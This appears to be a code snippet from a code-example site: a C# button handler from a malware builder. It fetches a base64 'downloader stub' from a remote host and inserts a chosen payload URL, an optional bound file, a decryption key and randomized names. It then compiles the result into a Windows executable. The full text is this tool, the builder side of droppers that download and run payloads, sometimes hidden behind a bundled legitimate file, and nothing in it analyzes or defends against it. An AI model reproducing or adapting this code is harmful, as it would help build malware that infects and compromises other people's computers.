コード例 #1
0
 private void bunifuFlatButton2_Click(object sender, EventArgs e)
 {
     try
     {
         using (WebClient webClient = new WebClient())
         {
             string text    = Utiles.RandomString(10);
             string text2   = Utiles.RandomString(10);
             string text3   = text + ".resources";
             string @string = Encoding.Default.GetString(Convert.FromBase64String(webClient.DownloadString(Utiles.DownloaderStub)));
             @string = @string.Replace("%URL%", Convert.ToBase64String(Encoding.Default.GetBytes(bunifuCustomTextbox1.Text)));
             @string = @string.Replace("%randomfile%", Utiles.RandomString(10));
             @string = @string.Replace("%binder%", bunifuCheckbox5.Checked.ToString());
             @string = @string.Replace("%ResourceName%", text);
             @string = @string.Replace("%keydecrypt%", _encryptionDownloader);
             @string = ((bunifuCustomTextbox4.Text == null) ? @string.Replace("%name%", Utiles.RandomString(10)) : @string.Replace("%name%", Path.GetFileName(bunifuCustomTextbox4.Text)));
             @string = @string.Replace("%ResourceStored%", text2);
             using (SaveFileDialog saveFileDialog = new SaveFileDialog())
             {
                 saveFileDialog.Filter = "PE File | *.exe";
                 if (saveFileDialog.ShowDialog() == DialogResult.OK)
                 {
                     if (bunifuCheckbox5.Checked)
                     {
                         using (ResourceWriter resourceWriter = new ResourceWriter(text3))
                         {
                             resourceWriter.AddResource(text2, File.ReadAllBytes(bunifuCustomTextbox4.Text));
                             resourceWriter.Generate();
                         }
                         if (chromeRadioButton3.Checked)
                         {
                             if (Utiles.BuildCode(@string, saveFileDialog.FileName, 2, false, "", text3))
                             {
                                 MessageBox.Show("The downloader was build succefully, it was save as :\n" + saveFileDialog.FileName, "Succes", MessageBoxButtons.OK, MessageBoxIcon.Asterisk);
                             }
                         }
                         else if (Utiles.BuildCode(@string, saveFileDialog.FileName, 4, false, "", text3))
                         {
                             MessageBox.Show("The downloader was build succefully, it was save as :\n" + saveFileDialog.FileName, "Succes", MessageBoxButtons.OK, MessageBoxIcon.Asterisk);
                         }
                     }
                     else if (chromeRadioButton3.Checked)
                     {
                         if (Utiles.BuildCode(@string, saveFileDialog.FileName, 2, false, "", (string[])null))
                         {
                             MessageBox.Show("The downloader was build succefully, it was save as :\n" + saveFileDialog.FileName, "Succes", MessageBoxButtons.OK, MessageBoxIcon.Asterisk);
                         }
                     }
                     else if (Utiles.BuildCode(@string, saveFileDialog.FileName, 4, false, "", (string[])null))
                     {
                         MessageBox.Show("The downloader was build succefully, it was save as :\n" + saveFileDialog.FileName, "Succes", MessageBoxButtons.OK, MessageBoxIcon.Asterisk);
                     }
                 }
             }
         }
     }
     catch (Exception ex)
     {
         MessageBox.Show("Error : \n" + ex.ToString(), "Error", MessageBoxButtons.OK, MessageBoxIcon.Hand);
     }
 }